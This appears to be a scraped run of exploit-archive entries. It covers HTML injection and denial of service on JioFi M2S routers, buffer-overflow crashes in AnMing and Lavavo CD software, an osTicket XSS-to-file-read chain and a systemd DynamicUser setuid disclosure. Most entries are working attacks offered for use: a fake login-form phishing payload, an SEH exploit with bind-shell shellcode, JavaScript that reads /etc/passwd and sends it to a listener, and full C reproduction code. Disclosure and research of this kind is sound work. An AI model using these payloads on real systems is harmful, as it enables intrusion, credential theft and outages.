# Hardware Link: https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers&ie=UTF8&qid=1531032476&sr=1-1&keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29
# Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router
# Category: Hardware
# Contact: https://www.facebook.com/profile.php?id=100011287630308
# Web: https://gkaim.com/
# Tested on: Windows 10 X64- Firefox-65.0
# CVE-2019-7438
***********************************************************************
## Vulnerability Description => HTML injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user's trust.
----------------------------------------
# Proof Of ConceptoC
1- First Open BurpSuite
2- Make Intercept on
3 -Go to your Wifi Router's Gateway in Browser [i.e http://192.168.225.1 ]
4-Capture the data and then Spider the Host
5- Now You find a Link like like this [ http://192.168.225.1/cgi-bin/qcmap_web_cgi ]
6- Send it to repeter Now you will find parameter like this [ Page=GetWANInfo&mask=0&token=0 ]
7-Vulnerable parameter is => mash
8-Paste this PAYLOAD in mask parameter and then show Response in browser
Payload =>
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;"><h1><font color="white">Please login with valid credentials:- It's A Fake Login Page<br><form name="login" action="http://anysite.com/"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
9- You will see a fake Login page on the screen -
----------------------------------------------------------------------------------
Vulnerable URL => Post Based => http://192.168.225.1/cgi-bin/qcmap_web_cgi => mask parameter -
----------------------------------------------------------------------------------
REQUEST
-------------------
POST /cgi-bin/qcmap_web_cgi HTTP/1.1
Host: 192.168.225.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.225.1/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 550
Connection: close
Page=GetWANInfo&mask=<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;"><h1><font color="white">Please login with valid credentials:- It's A Fake Login Page<br><form name="login" action="http://anysite.com/"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>&token=0
****************************
RESPONSE
-----------------
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
X-Frame-Options: SAMEORIGIN
connection: close
Content-Type: text/html
Content-Length: 1167
Date: Mon, 21 Jan 2019 18:02:07 GMT
Server: lighttpd/1.4.35
{"Page":"GetWANInfo","Mask":"<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:red; padding: 1em;"><h1><font color="white">Please login with valid credentials:- It's A Fake Login Page<br><form name="login" action="http://anysite.com/"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>","wan_status":"On","total_data_used":"10005648","wan_operation_mode":"NAT","wan_connection_mode":"DHCP","wan_mac":"40:C8:CB:07:2C:8A","host_name":"JMR1140-072C8A","multi_pdn":"Disabled","ipv4_addr":"10.153.220.101","ipv4_subnet":"255.255.255.252","ipv4_gateway":"10.153.220.102","ipv4_primary":"49.45.0.1","ipv4_secondary":"0.0.0.0","ipv6_addr":"2409:4060:218e:b511:89ec:3214:def1:f75b","ipv6_subnet":"64","ipv6_gateway":"fe80::c9b3:928a:5eca:7e1c","ipv6_primary":"2405:200:800::1","ipv6_secondary":"::","channel":"automatic","packet_loss":"0 / 0","total_data_used_dlink":"5.11 MB","total_data_used_ulink":"4.37 MB"}
---------------------------------------------------------------------------------------------------------------
JioFi 4G M2S 1.0.2 Denial Of Service
JioFi 4G M2S version 1.0.2 suffers from a denial of service vulnerability.
1b3aeae88a60005a86e64b80164da76e
# Exploit Title: cgi-bin/qcmap_web_cgi on JioFi 4G M2S 1.0.2 devices allows a DoS (Hang) via the mask POST parameter
# Exploit Author: Vikas Chaudhary
# Date: 21-01-2019
# Vendor Homepage: https://www.jio.com/
# Hardware Link: https://www.amazon.in/JioFi-Hotspot-M2S-Portable-Device/dp/B075P7BLV5/ref=sr_1_1?s=computers&ie=UTF8&qid=1531032476&sr=1-1&keywords=JioFi+M2S+Wireless+Data+Card++%28Black%29
# Version: JioFi 4G Hotspot M2S 150 Mbps Wireless Router
# Category: Hardware
# Contact: https://www.facebook.com/profile.php?id=100011287630308
# Web: https://gkaim.com/
# Tested on: Windows 10 X64- Firefox-65.0
# CVE-2019-7439
***********************************************************************
## Vulnerability Description :- A denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.
----------------------------------------
# Proof Of Concept:
1- First Open BurpSuite
2- Make Intercept on
3 -Go to your Wifi Router's Gateway in Browser [i.e http://192.168.225.1 ]
4-Capture the data and then Spider the Host
5- Now You find a Link like this [ http://192.168.225.1/cgi-bin/qcmap_web_cgi ]
6- Send it to repeter Now you will find parameter like this [ Page=GetWANInfo&mask=0&token=0 ]
7-Vulnerable parameter is => mash
8-Paste this PAYLOD in mask parameter and then show Response in browser
Payload =>
<iframe src="javascript:alert(1)"></iframe>
9-Now it will show => {"commit":"Socket Connect Error"}
10-- It Means Router is Completely Stopped ,
----------------------------------------
Vulnerable URL => Post Based => http://192.168.225.1/cgi-bin/qcmap_web_cgi => mask parameter
-----------------------------------------
Solution:-
You have to Remove your battery and then again insert it to make Normal.
-----------------------------------------------------------------------------------
REQUEST
------------
POST /cgi-bin/qcmap_web_cgi HTTP/1.1
Host: 192.168.225.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.225.1/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 167
Connection: close
Page=GetWANInfo&mask=<iframe src="javascript:alert(1)"></iframe>&token=0
****************************
RESPONSE
----------
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
X-Frame-Options: SAMEORIGIN
connection: close
Content-Type: text/html
Content-Length: 33
Date: Mon, 21 Jan 2019 18:17:34 GMT
Server: lighttpd/1.4.35
{"commit":"Socket Connect Error"}
---------------------------------------------------------------------------------------------------------------
AnMing MP3 CD Burner 2.0 Denial Of Service
AnMing MP3 CD Burner version 2.0 denial of service proof of concept exploit.
024d0566053378f92fe0dda13a47472a
# Exploit Title: AnMing MP3 CD Burner 2.0 Local Dos Exploit
# Date: 25.04.2019
# Vendor Homepage:http://www.ddz1977.com/
# Software Link: https://files.downloadnow.com/s/software/10/56/16/74/anming_setup.zip?token=1556228877_063f2dc0aed064ee5d13374d8509661c&fileName=anming_setup.zip
# Exploit Author: Achilles
# Tested Version: 2.0
# Tested on: Windows 7 x64 Sp1
# Windows XP x86 Sp3
# 1.- Run python code :AnMing.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Anming.exe and Click 'Register'
# 4.- Paste the content of EVIL.txt into the Field: 'Your Name and Registration Code'
# 5.- Click 'OK'and you will see a crash.
#!/usr/bin/env python
buffer = "\x41" * 6000
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
osTicket 1.11 Cross Site Scripting / Local File Inclusion
osTicket version 1.11 suffers from cross site scripting and local file inclusion vulnerabilities.
c6bdf1690086d5f3d63da393f7da49fb
# Exploit Title: osTicket v1.11 - Cross-Site Scripting to Local File
Inclusion
# Date: 09.04.2019
# Exploit Author: Özkan Mustafa Akkuş (AkkuS) @ehakkus
# Contact: https://pentest.com.tr
# Vendor Homepage: https://osticket.com
# Software Link: https://github.com/osTicket/osTicket
# References: https://github.com/osTicket/osTicket/pull/4869
# https://pentest.com.tr/exploits/osTicket-v1-11-XSS-to-LFI.html
# Version: v1.11
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: This is exploit proof of concept as XSS attempt can
# lead to an LFI (Local File Inclusion) attack at osTicket.
##################################################################
# PoC
# There are two different XSS vulnerabilities in the "Import"
field on the Agent Panel - User Directory field. This vulnerability
causes a different vulnerability. The attacker can run the malicious
JS file that he uploads in the XSS vulnerability. Uploaded JS files
can be called clear text. Therefore, attackers do not have to use
a different server to perform an attack. Then it is possible to
create "Local File Inclusion" vulnerability too.
The attacker can upload a JS file as follows.
------------------------------------------------------------------
function readTextFile(file)
{
var rawFile = new XMLHttpRequest();
rawFile.open("GET", file, false);
rawFile.onreadystatechange = function ()
{
if(rawFile.readyState === 4)
{
if(rawFile.status === 200 || rawFile.status == 0)
{
var allText = rawFile.responseText;
allText.src = 'http://localhost:8001' +
rawFile.responseText;
document.body.appendChild(allText);
}
}
}
rawFile.send(null);
}
readTextFile("/etc/passwd");
------------------------------------------------------------------
# Smilar JS File Link;
/upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm
&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36"
After this process, we can run the JS file in XSS vulnerability.
# Our First Request for XSS to LFI;
------------------------------------------------------------------
POST /upload/scp/users.php?do=import-users
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------[]
-----------------------------[]
Content-Disposition: form-data; name="__CSRFToken__"
8f6f85b8d76218112a53f909692f3c4ae7768b39
-----------------------------[]
Content-Disposition: form-data; name="pasted"
-----------------------------[]
Content-Disposition: form-data; name="import"; filename="users-20190408.csv"
Content-Type: text/csv
<script src="
http://localhost/4/osTicket-v1.11/upload/file.php?key=y3cxcoxqv8r3miqczzj5ar8rhm1bhcbm&expires=1554854400&signature=be5cea87c37d7971e0c54164090a391066ecbaca&id=36
"></script>
-----------------------------[]--
# Our Second Request for XSS to LFI;
------------------------------------------------------------------
POST /upload/scp/ajax.php/users/import HTTP/1.1
Host: localhost
__CSRFToken__=8f6f85b8d76218112a53f909692f3c4ae7768b39&pasted=%3Cscript+src%3D%22http%3A%2F%2Flocalhost%2F4%2FosTicket-v1.11%2Fupload%2Ffile.php%3Fkey%3Dy3cxcoxqv8r3miqczzj5ar8rhm1bhcbm%26expires%3D1554854400%26signature%3Dbe5cea87c37d7971e0c54164090a391066ecbaca%26id%3D36%22%3E%3C%2Fscript%3E&undefined=Import+Users
------------------------------------------------------------------
# After sending XSS requests,
# When the attacker listens to port 8001, he/she will receive a request as
follows.
root@AkkuS:~# python -m SimpleHTTPServer 8001
Serving HTTP on 0.0.0.0 port 8001 ...
127.0.0.1 - - [09/Apr/2019 11:54:42] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [09/Apr/2019 11:54:42] "GET
/root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin...[More]
Lavavo CD Ripper 4.20 Buffer Overflow
Lavavo CD Ripper version 4.20 license activation name SEH buffer overflow exploit.
fe97a19192eb8a87e366a5fcc6874c6c
# Exploit Title: Lavavo CD Ripper 4.20 Local Seh Exploit
# Date: 25.04.2019
# Vendor Homepage:https://www.lavavosoftware.com
# Software Link: https://lavavo-cd-ripper.jaleco.com/download
# Exploit Author: Achilles
# Tested Version: 4.20
# Tested on: Windows XP SP3 EN
# Windows 7 Sp1 x64
# 1.- Run python code : Lavavo.py
# 2.- Open EVIL.txt and copy content to Clipboard
# 3.- Open LavavoCDRipper.exe and click UNLOCK.
# 4.- Paste the Content of EVIL.txt into the 'License Activation Name'
# 5.- License Key 123456789
# 6.- Click 'Unlock Now' and you will have a bind shell port 3110.
#!/usr/bin/env python
import struct
buffer = "\x41" * 300
nseh = "\xeb\x06\x90\x90" #jmp short 6
seh = struct.pack('<L',0x1003157d) #libsndfile.dll
nops = "\x90" * 20
#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=3110 -e x86/shikata_ga_nai -b "\x00\x0a\x0d" -i 1 -f python
#badchars "\x00\x0a\x0d"
shellcode = ("\xb8\xf4\xc0\x2a\xd0\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b"
"\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\xb6\xce\xc8"
"\x25\xca\x27\x8e\xc6\x32\xb8\xef\x4f\xd7\x89\x2f\x2b"
"\x9c\xba\x9f\x3f\xf0\x36\x6b\x6d\xe0\xcd\x19\xba\x07"
"\x65\x97\x9c\x26\x76\x84\xdd\x29\xf4\xd7\x31\x89\xc5"
"\x17\x44\xc8\x02\x45\xa5\x98\xdb\x01\x18\x0c\x6f\x5f"
"\xa1\xa7\x23\x71\xa1\x54\xf3\x70\x80\xcb\x8f\x2a\x02"
"\xea\x5c\x47\x0b\xf4\x81\x62\xc5\x8f\x72\x18\xd4\x59"
"\x4b\xe1\x7b\xa4\x63\x10\x85\xe1\x44\xcb\xf0\x1b\xb7"
"\x76\x03\xd8\xc5\xac\x86\xfa\x6e\x26\x30\x26\x8e\xeb"
"\xa7\xad\x9c\x40\xa3\xe9\x80\x57\x60\x82\xbd\xdc\x87"
"\x44\x34\xa6\xa3\x40\x1c\x7c\xcd\xd1\xf8\xd3\xf2\x01"
"\xa3\x8c\x56\x4a\x4e\xd8\xea\x11\x07\x2d\xc7\xa9\xd7"
"\x39\x50\xda\xe5\xe6\xca\x74\x46\x6e\xd5\x83\xa9\x45"
"\xa1\x1b\x54\x66\xd2\x32\x93\x32\x82\x2c\x32\x3b\x49"
"\xac\xbb\xee\xe4\xa4\x1a\x41\x1b\x49\xdc\x31\x9b\xe1"
"\xb5\x5b\x14\xde\xa6\x63\xfe\x77\x4e\x9e\x01\x7b\xa9"
"\x17\xe7\xe9\xa5\x71\xbf\x85\x07\xa6\x08\x32\x77\x8c"
"\x20\xd4\x30\xc6\xf7\xdb\xc0\xcc\x5f\x4b\x4b\x03\x64"
"\x6a\x4c\x0e\xcc\xfb\xdb\xc4\x9d\x4e\x7d\xd8\xb7\x38"
"\x1e\x4b\x5c\xb8\x69\x70\xcb\xef\x3e\x46\x02\x65\xd3"
"\xf1\xbc\x9b\x2e\x67\x86\x1f\xf5\x54\x09\x9e\x78\xe0"
"\x2d\xb0\x44\xe9\x69\xe4\x18\xbc\x27\x52\xdf\x16\x86"
"\x0c\x89\xc5\x40\xd8\x4c\x26\x53\x9e\x50\x63\x25\x7e"
"\xe0\xda\x70\x81\xcd\x8a\x74\xfa\x33\x2b\x7a\xd1\xf7"
"\x5b\x31\x7b\x51\xf4\x9c\xee\xe3\x99\x1e\xc5\x20\xa4"
"\x9c\xef\xd8\x53\xbc\x9a\xdd\x18\x7a\x77\xac\x31\xef"
"\x77\x03\x31\x3a")
pad ="C" * (6000 - len(buffer) - len(nseh+seh) - len(nops) -len(shellcode))
payload = buffer + nseh + seh + nops + shellcode + pad
try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
systemd DynamicUser SetUID Binary Creation
This bug report describes a bug in systemd that allows a service with DynamicUser in collaboration with another service or user to create a setuid binary that can be used to access its UID beyond the lifetime of the service. This bug probably has relatively low severity, given that there are not many services yet that use DynamicUser, and the requirement of collaboration with another process limits the circumstances in which it would be useful to an attacker further; but in a system that makes heavy use of DynamicUser, it would probably have impact.
cb138590286ec36c3796f89c3e18cff6
systemd: DynamicUser can create setuid binaries when assisted by another process
Related CVE Numbers: CVE-2019-3844.
[I am sending this bug report to Ubuntu as requested by systemd at
<https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports>.]
This bug report describes a bug in systemd that allows a service with
DynamicUser in collaboration with another service or user to create a setuid
binary that can be used to access its UID beyond the lifetime of the service.
This bug probably has relatively low severity, given that there aren't many
services yet that use DynamicUser, and the requirement of collaboration with
another process limits the circumstances in which it would be useful to an
attacker further; but in a system that makes heavy use of DynamicUser, it would
probably have impact.
<https://www.freedesktop.org/software/systemd/man/systemd.exec.html#DynamicUser=>
says:
In order to allow the service to write to certain directories, they have to
be whitelisted using ReadWritePaths=, but care must be taken so that UID/GID
recycling doesn't create security issues involving files created by the
service.
While I was chatting about DynamicUser with catern on IRC, I noticed that
DynamicUser doesn't isolate the service from the rest of the system in terms of
UNIX domain sockets; therefore, if a collaborating user passes a file descriptor
to a world-writable path outside the service's mount namespace into the
service, the service can then create setuid files that can be used by the
collaborating user beyond the lifetime of the service.
To reproduce:
As a user:
======================================================================
user@deb10:~$ mkdir systemd_uidleak
user@deb10:~$ cd systemd_uidleak
user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>
int main(void) {
setbuf(stdout, NULL);
// prepare unix domain socket
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, \"unable to create unix domain socket\");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = \"\\0breakout\"
};
if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
err(1, \"unable to bind abstract socket\");
puts(\"waiting for connection from outside the service...\");
// receive fd to somewhere under the real root
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
struct msghdr msg = {
.msg_control = hdr,
.msg_controllen = len
};
if (recvmsg(s, &msg, 0) < 0) err(1, \"unable to receive fd\");
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
|| hdr->cmsg_type != SCM_RIGHTS)
errx(1, \"got bad message\");
puts(\"got rootfd from other chroot...\");
if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, \"unable to change into real root\");
char curpath[4096];
if (!getcwd(curpath, sizeof(curpath))) err(1, \"unable to getpath()\");
printf(\"chdir successful, am now in %s\
\", curpath);
// create suid file
int src_fd = open(\"suid_src\", O_RDONLY);
if (src_fd == -1) err(1, \"open suid_src\");
int dst_fd = open(\"suid_dst\", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, \"open suid_dst\");
while (1) {
char buf[1000];
ssize_t res = read(src_fd, buf, sizeof(buf));
if (res == -1) err(1, \"read\");
if (res == 0) break;
ssize_t res2 = write(dst_fd, buf, res);
if (res2 != res) err(1, \"write\");
}
if (fchmod(dst_fd, 04755)) err(1, \"fchmod\");
close(src_fd);
close(dst_fd);
// and that's it!
puts(\"done!\");
while (1) pause();
return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c
user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>
int main(void) {
int rootfd = open(\".\", O_PATH);
if (rootfd < 0) err(1, \"unable to open cwdfd\");
int s = socket(AF_UNIX, SOCK_DGRAM, 0);
if (s < 0) err(1, \"unable to create unix domain socket\");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = \"\\0breakout\"
};
if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
err(1, \"unable to connect to abstract socket\");
puts(\"connected to other chroot, sending cwdfd...\");
int len = sizeof(struct cmsghdr) + sizeof(int);
struct cmsghdr *hdr = alloca(len);
*hdr = (struct cmsghdr) {
.cmsg_len = len,
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_RIGHTS
};
*(int*)CMSG_DATA(hdr) = rootfd;
struct msghdr msg = {
.msg_control = hdr,
.msg_controllen = len
};
if (sendmsg(s, &msg, 0) < 0) err(1, \"unable to send fd\");
puts(\"all ok on this side!\");
return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_helper breakout_helper.c
user@deb10:~/systemd_uidleak$ cp /usr/bin/id suid_src
user@deb10:~/systemd_uidleak$ chmod 0777 .
user@deb10:~/systemd_uidleak$ ls -la .
total 100
drwxrwxrwx 2 user user 4096 Feb 4 21:22 .
drwxr-xr-x 23 user user 4096 Feb 4 21:19 ..
-rwxr-xr-x 1 user user 17432 Feb 4 21:20 breakout_assisted
-rw-r--r-- 1 user user 1932 Feb 4 21:20 breakout_assisted.c
-rwxr-xr-x 1 user user 16872 Feb 4 21:22 breakout_helper
-rw-r--r-- 1 user user 1074 Feb 4 21:22 breakout_helper.c
-rwxr-xr-x 1 user user 43808 Feb 4 21:22 suid_src
user@deb10:~/systemd_uidleak$
======================================================================
Then, as root, create and launch a service around breakout_assisted:
======================================================================
root@deb10:/home/user# cat > /etc/systemd/system/dynamic-user-test.service
[Service]
ExecStart=/home/user/systemd_uidleak/breakout_assisted
DynamicUser=yes
root@deb10:/home/user# systemctl daemon-reload
root@deb10:/home/user# systemctl start dynamic-user-test.service
root@deb10:/home/user# systemctl status dynamic-user-test.service
[...]
Feb 04 21:27:29 deb10 systemd[1]: Started dynamic-user-test.service.
Feb 04 21:27:29 deb10 breakout_assisted[3155]: waiting for connection from outside the service...
root@deb10:/home/user#
======================================================================
Now again as a user, run the breakout_helper:
======================================================================
user@deb10:~/systemd_uidleak$ ./breakout_helper
connected to other chroot, sending cwdfd...
all ok on this side!
user@deb10:~/systemd_uidleak$ ls -la
total 144
drwxrwxrwx 2 user user 4096 Feb 4 21:28 .
drwxr-xr-x 23 user user 4096 Feb 4 21:19 ..
-rwxr-xr-x 1 user user 17432 Feb 4 21:20 breakout_assisted
-rw-r--r-- 1 user user 1932 Feb 4 21:20 breakout_assisted.c
-rwxr-xr-x 1 user user 16872 Feb 4 21:22 breakout_helper
-rw-r--r-- 1 user user 1074 Feb 4 21:22 breakout_helper.c
-rwsr-xr-x 1 64642 64642 43808 Feb 4 21:28 suid_dst
-rwxr-xr-x 1 user user 43808 Feb 4 21:22 suid_src
user@deb10:~/systemd_uidleak$ ./suid_dst
uid=1000(user) gid=1000(user) euid=64642 groups=1000(user),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner)
user@deb10:~/systemd_uidleak$
======================================================================
On fixing this:
catern suggested that it might be more robust to use seccomp() to block
chmod()/fchmod() calls with modes that include setuid/setgid bits, like the
Nix build process. See
<https://nixos.org/releases/nix/nix-2.1.3/manual/#ssec-relnotes-1.11.10>:
> To prevent this issue, Nix now disallows builders to create setuid and setgid
> binaries. On Linux, this is done using a seccomp BPF filter.
This seems like the least intrusive fix to me. As far as I can tell, it should
be sufficient to prevent the creation of setuid binaries that are reachable
beyond the death of the service. Unfortunately, for setgid files, the following
trick also needs to be mitigated, assuming that the distribution hasn't blocked
the unprivileged creation of user namespaces:
======================================================================
user@deb10:~/systemd_uidleak_gid$ cat map_setter.c
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void write_file(char *type, int pid, char *buf) {
char file_path[100];
sprintf(file_path, \"/proc/%d/%s\", pid, type);
int fd = open(file_path, O_WRONLY);
if (fd == -1) err(1, \"open %s\", file_path);
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, \"write %s\", type);
close(fd);
}
static void write_map(char *type, int pid, int upper, int lower) {
char buf[100];
sprintf(buf, \"%d %d 1\", upper, lower);
write_file(type, pid, buf);
}
int main(void) {
FILE *pid_file = fopen(\"/home/user/systemd_uidleak_gid/pid_file\", \"r\");
if (pid_file == NULL) err(1, \"open pid_file\");
int pid;
if (fscanf(pid_file, \"%d\", &pid) != 1) err(1, \"fscanf\");
write_file(\"setgroups\", pid, \"deny\");
write_map(\"gid_map\", pid, 0, getgid());
write_map(\"uid_map\", pid, 0, geteuid());
puts(\"done\");
while (1) pause();
return 0;
}
user@deb10:~/systemd_uidleak_gid$ cat sgid_maker.c
#define _GNU_SOURCE
#include <sched.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
int main(void) {
if (unshare(CLONE_NEWUSER)) err(1, \"unshare CLONE_NEWUSER\");
pid_t my_pid = getpid();
char my_pid_str[20];
sprintf(my_pid_str, \"%d\
\", (int)my_pid);
int pid_file = open(\"pid_file\", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (pid_file == -1) err(1, \"create pid_file\");
if (write(pid_file, my_pid_str, strlen(my_pid_str)) != strlen(my_pid_str)) err(1, \"write pid_file\");
close(pid_file);
puts(\"pid file written, waiting for mappings...\");
while (1) {
if (getuid() == 0) break;
sleep(1);
}
puts(\"mappings are up!\");
if (setgid(0)) err(1, \"setgid\");
// create sgid file
int src_fd = open(\"sgid_src\", O_RDONLY);
if (src_fd == -1) err(1, \"open sgid_src\");
int dst_fd = open(\"sgid_dst\", O_RDWR|O_CREAT|O_EXCL, 0644);
if (dst_fd == -1) err(1, \"open sgid_dst\");
while (1) {
char buf[1000];
ssize_t res = read(src_fd, buf, sizeof(buf));
if (res == -1) err(1, \"read\");
if (res == 0) break;
ssize_t res2 = write(dst_fd, buf, res);
if (res2 != res) err(1, \"write\");
}
if (fchmod(dst_fd, 02755)) err(1, \"fchmod\");
close(src_fd);
close(dst_fd);
}
user@deb10:~/systemd_uidleak_gid$ cp /usr/bin/id sgid_src
user@deb10:~/systemd_uidleak_gid$ gcc -o map_setter map_setter.c && gcc -o sgid_maker sgid_maker.c && chmod u+s map_setter && ./sgid_maker
pid file written, waiting for mappings...
[##### at this point, launch ~/systemd_uidleak_gid/map_setter in a systemd service #####]
mappings are up!
user@deb10:~/systemd_uidleak_gid$ ls -l sgid_dst
-rwxr-sr-x 1 user 64642 43808 Feb 4 23:13 sgid_dst
user@deb10:~/systemd_uidleak_gid$ ./sgid_dst
uid=1000(user) gid=1000(user) egid=64642 groups=64642,24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),113(scanner),1000(user)
user@deb10:~/systemd_uidleak_gid$
======================================================================
I think the least intrusive way to mitigate this part might be to enforce
NoNewPrivileges=yes for services with dynamic IDs - that way, someone inside
such a service can't become capable over anything outside, and someone outside
the service can't become capable over anything inside the service.
(And really, in general, it would be nice if NoNewPrivileges=yes could become
the norm at some point.)
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Found by: jannh@google.com